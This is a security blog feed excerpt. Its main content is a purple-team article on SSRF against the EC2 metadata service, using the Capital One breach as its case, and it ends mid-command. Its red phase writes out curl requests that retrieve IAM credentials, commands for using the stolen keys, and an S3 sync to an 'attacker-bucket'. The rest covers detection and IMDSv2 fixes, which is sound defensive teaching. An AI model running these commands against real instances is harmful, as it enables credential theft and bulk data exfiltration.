<li>AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you&#8217;re not running it, you&#8217;re auditing trust policies manually or not at all</li>
<li><a href="/cloud-iam-privilege-escalation/">IAM privilege escalation paths</a> and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further</li>
<li>Defense in depth requires all three layers: scoped trust policy principal, <code class="" data-line="">ExternalId</code> condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 is where the series pivots from attack paths to detection engineering. We&#8217;ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?</p>
<p>The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the <code class="" data-line="">aws sts assume-role</code> subprocess spawn, the credential file write, and the outbound S3 connection — while it&#8217;s happening.</p>
<p>Get EP11 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&#038;title=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" data-a2a-url="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/" data-a2a-title="Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained"></a></p><p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1870</post-id>	</item>
		<item>
		<title>SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</title>
		<link>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/</link>
					<comments>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 22 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Capital One]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IMDS]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[SSRF]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1861</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>SSRF to IMDSv1 is a straight line to IAM credentials — Capital One proved it at 100M-record scale. How the attack chain works and why IMDSv2 enforcement is non-negotiable.</p>
<p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What Is Purple Team?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Cloud</a> → <a href="/cloud-security-breaches-2020-2025/">Breach Landscape 2020–2025</a> → <a href="/broken-access-control-aws-cloud/">Broken Access Control</a> → <a href="/mfa-fatigue-attack-uber-okta/">MFA Fatigue</a> → <a href="/cicd-secrets-exposure-supply-chain/">CI/CD Secrets</a> → <strong>SSRF to Cloud Metadata</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>SSRF cloud metadata attack</strong> is OWASP A10: an attacker exploits a server-side request forgery vulnerability to reach <code class="" data-line="">169.254.169.254</code> — the EC2 Instance Metadata Service — and retrieve IAM role credentials without authentication</li>
<li>IMDSv1 (the default before 2019) requires no authentication token; any HTTP request from the instance to the IMDS endpoint returns credentials — SSRF anywhere in the stack is sufficient</li>
<li>Capital One (2019): a misconfigured WAF running on EC2 had an SSRF vulnerability → attacker hit the IMDS endpoint → retrieved IAM role credentials → enumerated and exfiltrated over 100 million customer records from S3; $190M settlement</li>
<li>IMDSv2 requires a PUT request to obtain a session token first — a CSRF/SSRF-blocked flow — making the IMDS resistant to standard SSRF exploitation; <code class="" data-line="">--http-tokens required</code> is the one-line enforcement</li>
<li>Hop limit of 1 is the container-layer defense: it prevents any process inside a container from reaching IMDS because the TTL expires before the packet traverses the additional network layer</li>
<li>The structural fix is eliminating the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> replaces the attached IAM role with a dynamically issued, scoped token — no IMDS credential to steal</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A10 — Server-Side Request Forgery (SSRF). The attacker causes the server to make a request to an unintended destination — in this case, the link-local metadata endpoint that returns cloud IAM credentials.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│                    SSRF → IMDS → CREDENTIAL CHAIN                       │
│                                                                         │
│   ATTACKER                                                              │
│      │                                                                  │
│      │  1. Discovers SSRF in web app (WAF, proxy, image fetch, etc.)    │
│      │                                                                  │
│      ▼                                                                  │
│   WEB APP / WAF (running on EC2)                                        │
│      │                                                                  │
│      │  2. App follows attacker-controlled URL                          │
│      │     GET http://169.254.169.254/latest/meta-data/                 │
│      │     iam/security-credentials/ROLE_NAME                          │
│      ▼                                                                  │
│   EC2 INSTANCE METADATA SERVICE (IMDSv1 — no auth required)            │
│      │                                                                  │
│      │  3. Returns JSON: AccessKeyId, SecretAccessKey, Token            │
│      ▼                                                                  │
│   ATTACKER (now has temporary IAM credentials)                          │
│      │                                                                  │
│      │  4. aws sts get-caller-identity → confirm identity               │
│      │  5. aws s3 ls → enumerate all accessible buckets                 │
│      │  6. aws s3 cp s3://target-bucket/ . --recursive                  │
│      ▼                                                                  │
│   100M+ customer records exfiltrated                                    │
│                                                                         │
│   ─────────────────────────────────────────────────────────────────     │
│   IMDSv2 BREAKS THIS CHAIN AT STEP 2                                    │
│   PUT /latest/api/token required first → SSRF can&#039;t follow             │
│   (SSRF typically cannot initiate a PUT before a GET)                   │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>The <strong>SSRF cloud metadata attack</strong> chain is short enough to fit in a single diagram because there are only three moving parts: the SSRF vulnerability, an unauthenticated metadata endpoint, and the IAM credentials waiting behind it. Remove any one of those three elements and the chain breaks. Capital One had all three.</p>
<hr />
<h2 id="the-incident-capital-one-2019">The Incident: Capital One (2019)</h2>
<p>In March 2019, a misconfigured WAF at Capital One was running on AWS EC2. The WAF was a commercial product deployed in an EC2 instance with an attached IAM role — standard practice, necessary for the WAF to interact with other AWS services.</p>
<p>The attacker, later identified as Paige Thompson (arrested July 2019, former AWS engineer), found an SSRF vulnerability in the WAF&#8217;s configuration. The exact misconfiguration has been described as a firewall rule that allowed the instance to make outbound requests to internal destinations, including the link-local metadata endpoint.</p>
<p>The attack chain, reconstructed from court documents and Capital One&#8217;s public disclosures:</p>
<pre><code class="" data-line="">1. Identify SSRF in WAF
   ├── WAF accepts HTTP requests and forwards them to backend
   └── Attacker crafts request that causes WAF to make outbound HTTP call
       to attacker-controlled destination — confirms SSRF exists

2. Target the IMDS endpoint
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       (link-local address, reachable only from within the EC2 instance)

3. Enumerate the attached role
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       → returns role name: &quot;capital-one-waf-role&quot; (illustrative)

4. Retrieve the credentials
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/capital-one-waf-role
       → returns: AccessKeyId, SecretAccessKey, Token, Expiration

5. Export credentials to attacker-controlled system
   └── The SSRF response body contains the JSON credential blob
       Attacker exfiltrates the JSON out-of-band

6. Use credentials from external system
   ├── aws configure (with stolen AccessKeyId, SecretAccessKey, Token)
   ├── aws sts get-caller-identity → confirm IAM role identity
   ├── aws s3 ls → lists all S3 buckets the role can see
   └── aws s3 cp s3://[capital-one-bucket]/ . --recursive
       → 106 million customer records
       → 140,000 Social Security numbers
       → 80,000 bank account numbers
</code></pre>
<p>IMDSv1 required no authentication. The WAF&#8217;s attached IAM role had <code class="" data-line="">s3:GetObject</code> and <code class="" data-line="">s3:ListBucket</code> permissions scoped broadly enough to reach the data buckets. The SSRF was the entry point; the unauthenticated metadata endpoint was the amplifier; the overly permissive IAM role was the impact multiplier.</p>
<p>Capital One paid a $190M settlement. AWS did not change IMDSv1 as a result — they had already released IMDSv2 in November 2019, months after the breach was discovered (July 2019). The breach timeline predates IMDSv2 availability. What it demonstrated was not a zero-day but a known architectural weakness that had been present since EC2 launched.</p>
<p>The revelation that the industry took away: <strong>IMDSv1 has no authentication. Any SSRF vulnerability anywhere in your stack — in the application, in a WAF, in a sidecar, in a Lambda calling your EC2 — is a straight line to your IAM role credentials.</strong> The SSRF doesn&#8217;t need to be severe or complex. It just needs to reach <code class="" data-line="">169.254.169.254</code>.</p>
<hr />
<h2 id="red-phase-how-the-attack-works">Red Phase: How the Attack Works</h2>
<h3 id="what-ssrf-is">What SSRF Is</h3>
<p>Server-Side Request Forgery is a vulnerability class where an attacker can cause the server to make HTTP requests to destinations of the attacker&#8217;s choosing. The server acts as a proxy: the request originates from the server&#8217;s network context, not the attacker&#8217;s. This is what makes it dangerous in cloud environments — the server has access to link-local addresses, VPC-internal services, and cloud metadata endpoints that the attacker cannot reach directly from the internet.</p>
<p>SSRF surfaces in any feature that causes the server to fetch a URL on behalf of the user:<br />
&#8211; Image URL upload/preview (e.g., &#8220;fetch this avatar URL&#8221;)<br />
&#8211; Webhook configuration (server calls a URL you provide)<br />
&#8211; PDF generation from URL<br />
&#8211; Reverse proxies and WAFs with request-forwarding rules<br />
&#8211; Server-side URL validation endpoints</p>
<h3 id="why-the-metadata-endpoint-is-the-target">Why the Metadata Endpoint Is the Target</h3>
<p><code class="" data-line="">169.254.169.254</code> is the IPv4 link-local address AWS reserves for the Instance Metadata Service (IMDS). It is only reachable from within the EC2 instance itself — not from the VPC, not from the internet. Every EC2 instance has it. No security group rule can block it because it does not traverse the VPC network stack. It is a hypervisor-level endpoint injected into the instance.</p>
<p>The IMDS endpoint serves instance-specific data: instance ID, AMI ID, region, availability zone, network interfaces — and, critically, the temporary credentials for any IAM role attached to the instance.</p>
<pre><code class="" data-line=""># (IMDSv1 — no token required, works with a plain curl)

# Step 1: Enumerate what&#039;s available under iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: the name of the attached IAM role
# Example output: MyApplicationRole

# Step 2: Retrieve the credentials for that role
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
</code></pre>
<p>The response from Step 2 looks like this:</p>
<pre><code class="" data-line="">{
  &quot;Code&quot;: &quot;Success&quot;,
  &quot;LastUpdated&quot;: &quot;2019-03-22T18:03:30Z&quot;,
  &quot;Type&quot;: &quot;AWS-HMAC&quot;,
  &quot;AccessKeyId&quot;: &quot;ASIAQFAKEKEYIDEXAMPLE&quot;,
  &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;,
  &quot;Token&quot;: &quot;FQoDYXdzEJr//////////wEa...very-long-session-token...==&quot;,
  &quot;Expiration&quot;: &quot;2019-03-22T24:03:30Z&quot;
}
</code></pre>
<p>These are real, valid AWS temporary credentials. The <code class="" data-line="">Token</code> field is the STS session token. All three values together authenticate as the IAM role attached to the instance, with whatever permissions that role has been granted.</p>
<h3 id="the-full-attack-chain">The Full Attack Chain</h3>
<p>Step-by-step, with the commands an attacker would run after recovering credentials from an SSRF:</p>
<p><strong>Step 1: Confirm the SSRF and find the metadata endpoint</strong></p>
<pre><code class="" data-line=""># Attacker sends request that causes the vulnerable server to fetch a URL
# The exact mechanism depends on the vulnerability (webhook, image URL, etc.)
# For a Capital One-style WAF SSRF, this might be a crafted HTTP header

# Test if SSRF can reach IMDS:
# Attacker controls a listener (e.g., Burp Collaborator, requestbin)
# then pivots to the metadata endpoint once SSRF is confirmed
</code></pre>
<p><strong>Step 2: Exfiltrate credentials via SSRF</strong></p>
<pre><code class="" data-line=""># Via the SSRF, the server makes this request:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns role name in response body

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
# → returns AccessKeyId, SecretAccessKey, Token JSON
</code></pre>
<p><strong>Step 3: Use credentials from attacker&#8217;s system</strong></p>
<pre><code class="" data-line=""># Export the stolen credentials
export AWS_ACCESS_KEY_ID=&quot;ASIAQFAKEKEYIDEXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;
export AWS_SESSION_TOKEN=&quot;FQoDYXdzEJr...==&quot;

# Confirm identity
aws sts get-caller-identity
# Output shows which account and role — confirms credentials are valid
</code></pre>
<pre><code class="" data-line="">{
    &quot;UserId&quot;: &quot;AROAQFAKEUSERID:i-01234567890abcdef0&quot;,
    &quot;Account&quot;: &quot;123456789012&quot;,
    &quot;Arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot;
}
</code></pre>
<p><strong>Step 4: Enumerate and exfiltrate</strong></p>
<pre><code class="" data-line=""># List all accessible S3 buckets
aws s3 ls
# Output: all buckets the role has s3:ListBucket on

# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --recursive | head -50

# Check what IAM actions are allowed (enumerate permissions)
aws iam simulate-principal-policy \
  --policy-source-arn &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot; \
  --action-names &quot;s3:GetObject&quot; &quot;s3:PutObject&quot; &quot;ec2:DescribeInstances&quot; &quot;iam:ListRoles&quot; \
  --query &#039;EvaluationResults[?EvalDecision==`allowed`].EvalActionName&#039; \
  --output text

# Exfiltrate
aws s3 cp s3://target-bucket/ /tmp/exfil/ --recursive
# Or to attacker-controlled bucket:
aws s3 sync s3://target-bucket/ s3://attacker-bucket/
</code></pre>
<h3 id="simulating-it-safely-test-imdsv1-enforcement-on-your-own-instances">Simulating It Safely: Test IMDSv1 Enforcement on Your Own Instances</h3>
<p>Before running detection controls, confirm which of your instances are still vulnerable:</p>
<pre><code class="" data-line=""># Test 1: Can you reach IMDS at all? (run from inside the instance)
curl -s http://169.254.169.254/latest/meta-data/ --max-time 2
# If this returns a list of metadata fields, IMDS is reachable

# Test 2: Is IMDSv1 still enabled? (no token required)
curl -s http://169.254.169.254/latest/meta-data/instance-id --max-time 2
# If this returns an instance ID without supplying a token → IMDSv1 is enabled
# Example output: i-01234567890abcdef0

# Test 3: Check the enforcement state via AWS CLI (from outside the instance)
aws ec2 describe-instances \
  --instance-ids i-01234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
</code></pre>
<pre><code class="" data-line="">[
    {
        &quot;State&quot;: &quot;applied&quot;,
        &quot;HttpTokens&quot;: &quot;optional&quot;,           ← &quot;optional&quot; means IMDSv1 is still enabled
        &quot;HttpPutResponseHopLimit&quot;: 1,
        &quot;HttpEndpoint&quot;: &quot;enabled&quot;,
        &quot;HttpProtocolIpv6&quot;: &quot;disabled&quot;,
        &quot;InstanceMetadataTags&quot;: &quot;disabled&quot;
    }
]
</code></pre>
<p><code class="" data-line="">&quot;HttpTokens&quot;: &quot;optional&quot;</code> means IMDSv1 is still active. Any SSRF in the instance&#8217;s software stack can reach these credentials without a token.</p>
<pre><code class="" data-line=""># Audit all instances in a region for IMDSv1 exposure
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{
    InstanceId: InstanceId,
    Name: Tags[?Key==`Name`].Value | [0],
    HttpTokens: MetadataOptions.HttpTokens,
    HopLimit: MetadataOptions.HttpPutResponseHopLimit
  }&#039; \
  --output table | \
  grep -E &quot;optional|INSTANCE&quot;
# Any row showing &quot;optional&quot; is IMDSv1-exposed
</code></pre>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="what-cloudtrail-logs-when-imds-credentials-are-abused">What CloudTrail Logs When IMDS Credentials Are Abused</h3>
<p>The IMDS credential theft itself is silent — there is no CloudTrail event for an IMDS GET request. The attacker&#8217;s use of the stolen credentials is what generates logs. The key signal is <strong><code class="" data-line="">GetCallerIdentity</code> from an unusual source IP</strong> paired with the instance role&#8217;s ARN appearing in CloudTrail from an IP that is not the instance itself.</p>
<pre><code class="" data-line=""># Find API calls made using instance role credentials from external IPs
# Instance roles appear in CloudTrail as assumed-role ARNs
DETECTOR_ROLE=&quot;MyApplicationRole&quot;
INSTANCE_IP=&quot;10.0.1.50&quot;  # Your instance&#039;s known IP

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity \
  --start-time &quot;$(date -d &#039;7 days ago&#039; --iso-8601=seconds)&quot; \
  --query &#039;Events[].CloudTrailEvent&#039; \
  --output text | \
  jq -r &#039;fromjson |
    select(.userIdentity.sessionContext.sessionIssuer.userName == &quot;&#039;&quot;${DETECTOR_ROLE}&quot;&#039;&quot;) |
    {
      time: .eventTime,
      event: .eventName,
      sourceIP: .sourceIPAddress,
      userAgent: .userAgent,
      region: .awsRegion,
      roleArn: .userIdentity.arn
    }&#039; | \
  jq &quot;select(.sourceIP != \&quot;${INSTANCE_IP}\&quot;)&quot;
  # Any result here = role credentials being used from outside the instance
</code></pre>
<p>The tell: the <code class="" data-line="">userIdentity.arn</code> will contain the instance ID as the role session name (e.g., <code class="" data-line="">assumed-role/MyApplicationRole/i-01234567890abcdef0</code>). If that ARN is making API calls from an IP address that is not the EC2 instance, someone has stolen the credentials and is using them externally.</p>
<h3 id="guardduty-the-purpose-built-finding">GuardDuty: The Purpose-Built Finding</h3>
<p>GuardDuty has a specific finding for exactly this scenario:</p>
<p><strong><code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS</code></strong></p>
<p>This finding fires when GuardDuty detects that temporary credentials associated with an EC2 instance role are being used from an IP address outside of AWS entirely — meaning someone has physically exfiltrated the credentials to their own system and is using them from there.</p>
<pre><code class="" data-line=""># Retrieve this specific finding type from GuardDuty
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS&quot;,
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS&quot;
        ]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    instance: .Resource.InstanceDetails.InstanceId,
    role: .Resource.AccessKeyDetails.UserName,
    externalIP: .Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,
    firstSeen: .Service.EventFirstSeen,
    lastSeen: .Service.EventLastSeen
  }&#039;
</code></pre>
<p>A second finding to watch:</p>
<p><strong><code class="" data-line="">Recon:IAMUser/UserPermissions</code></strong> — fires when the stolen credentials are used to enumerate IAM permissions (the <code class="" data-line="">iam:SimulatePrincipalPolicy</code> call from the attacker&#8217;s Step 4 above). Often appears immediately before the data exfiltration events.</p>
<h3 id="vpc-flow-logs-connections-to-169254169254">VPC Flow Logs: Connections to 169.254.169.254</h3>
<p>VPC Flow Logs do not capture traffic to the IMDS endpoint by default — but they can capture egress from EC2 instances in ways that reveal post-exploitation. More useful for IMDS abuse is querying for unexpected source IPs calling the IMDS from within the VPC:</p>
<pre><code class="" data-line=""># Athena query against VPC flow logs
# Find: connections to 169.254.169.254 from unexpected source IPs
# (useful in containerized environments where only the instance itself should call IMDS)

SELECT
  srcaddr,
  dstaddr,
  srcport,
  dstport,
  protocol,
  packets,
  bytes,
  action,
  log_status,
  from_unixtime(start) as start_time
FROM vpc_flow_logs
WHERE
  dstaddr = &#039;169.254.169.254&#039;
  AND action = &#039;ACCEPT&#039;
  AND from_unixtime(start) &gt; current_timestamp - interval &#039;24&#039; hour
ORDER BY start_time DESC;
</code></pre>
<p>If you see source IPs in this query that are not your EC2 instance&#8217;s primary private IP — for example, container IPs within the pod CIDR — and you have <code class="" data-line="">--http-put-response-hop-limit 1</code> set, those requests should be failing. If they&#8217;re succeeding, the hop limit is not enforced.</p>
<h3 id="imdsv2-hop-limit-why-it-blocks-containerized-attacks">IMDSv2 Hop Limit: Why It Blocks Containerized Attacks</h3>
<p>The hop limit is a separate defense from the token requirement. With <code class="" data-line="">--http-put-response-hop-limit 1</code>, the PUT request to obtain an IMDSv2 token has a TTL of 1. When a process running inside a container tries to reach the IMDS, the request must traverse:</p>
<pre><code class="" data-line="">Container network namespace → veth pair → host network namespace → hypervisor IMDS endpoint
</code></pre>
<p>That traversal decrements the TTL below 1, and the PUT request never reaches the IMDS endpoint. The token is never issued. The GET request that follows has no token and — if <code class="" data-line="">--http-tokens required</code> is also set — is rejected.</p>
<pre><code class="" data-line="">Hop limit = 1:
  Container → veth → [TTL=0, packet dropped]
  IMDS never receives the PUT, never issues a token

Hop limit = 2 (required for EKS with IMDS access):
  Container → veth → host → IMDS
  Token is issued; GET with token succeeds
  ← Use this only when container workloads legitimately need IMDS
</code></pre>
<p>For EKS specifically: use hop limit 2 only on nodes where pods have a legitimate need to call IMDS (rare). The preferred approach is pod-level identity via <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> — pods get short-lived tokens scoped to their service account, not the node&#8217;s IAM role.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-enforce-imdsv2-the-non-negotiable-control">Fix 1: Enforce IMDSv2 — The Non-Negotiable Control</h3>
<p>This is not optional. Every EC2 instance running production workloads should have <code class="" data-line="">--http-tokens required</code>. The operational cost is near zero; the risk reduction is complete for the SSRF-to-IMDS credential chain.</p>
<pre><code class="" data-line=""># Enforce IMDSv2 on a running instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Verify the change took effect
aws ec2 describe-instances \
  --instance-ids i-1234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
# &quot;HttpTokens&quot;: &quot;required&quot; confirms IMDSv2 is enforced
</code></pre>
<pre><code class="" data-line=""># Enforce IMDSv2 in a launch template (all new instances launched from this template)
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abcdef1234567890 \
  --source-version &#039;$Latest&#039; \
  --launch-template-data &#039;{
    &quot;MetadataOptions&quot;: {
      &quot;HttpTokens&quot;: &quot;required&quot;,
      &quot;HttpPutResponseHopLimit&quot;: 1,
      &quot;HttpEndpoint&quot;: &quot;enabled&quot;
    }
  }&#039;

# Set this new version as the default
aws ec2 modify-launch-template \
  --launch-template-id lt-0abcdef1234567890 \
  --default-version &#039;$Latest&#039;
</code></pre>
<pre><code class="" data-line=""># Bulk remediation: enforce IMDSv2 on all instances in a region where
# HttpTokens is currently &quot;optional&quot;
aws ec2 describe-instances \
